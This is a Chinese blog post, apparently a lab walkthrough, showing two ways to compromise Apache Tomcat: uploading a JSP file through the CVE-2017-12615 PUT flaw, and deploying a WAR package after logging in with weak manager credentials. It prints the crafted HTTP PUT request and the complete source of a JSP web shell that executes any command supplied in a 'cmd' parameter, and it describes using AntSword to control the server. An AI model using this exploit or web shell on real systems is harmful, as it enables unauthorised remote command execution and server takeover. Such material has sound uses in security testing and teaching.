Tomcat漏洞

1.Tomcat put方法任意文件上传漏洞(CVE-2017-12615)

进入环境
在这里插入图片描述在这里插入图片描述在这里插入图片描述输入http://ip:8080
在这里插入图片描述抓包并改包:

PUT /shell.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell...

在这里插入图片描述输入http:ip:8080/shell.jsp
在这里插入图片描述显示jsp马上传成功
之后可以通过蚁剑进行连接,远程控制操作

2.弱口令

在这里插入图片描述
Tomcat 支持通过后端部署 war 文件,因此我们可以直接将 webshell 放入 Web 目录。为了访问后端,需要权限。
在这里插入图片描述配置:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
重启tomcat,再进入首页
在这里插入图片描述进行登录
在这里插入图片描述可以在后台上传war包,我们可以将jsp代码植入到war包里面,然后访问该war包即可执行jsp代码。
war包制作:
2.jsp:

<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
 StringBuilder line = new StringBuilder();
 try {
  Process pro = Runtime.getRuntime().exec(c);
  BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  String temp = null;
  while ((temp = buf.readLine()) != null){
   line.append(temp+"\\n");
  }
  buf.close();
 } catch (Exception e) {
  line.append(e.getMessage());
 }
 return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
 out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
 out.println(":-)");
}
%>

在这里插入图片描述
在这里插入图片描述在这里插入图片描述上传
在这里插入图片描述访问木马文件,并传入命令参数:在这里插入图片描述这里war包的制作还可以用msf
之后,就可以通过蚁剑进行连接,执行cmd命令,对服务器进行操作了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值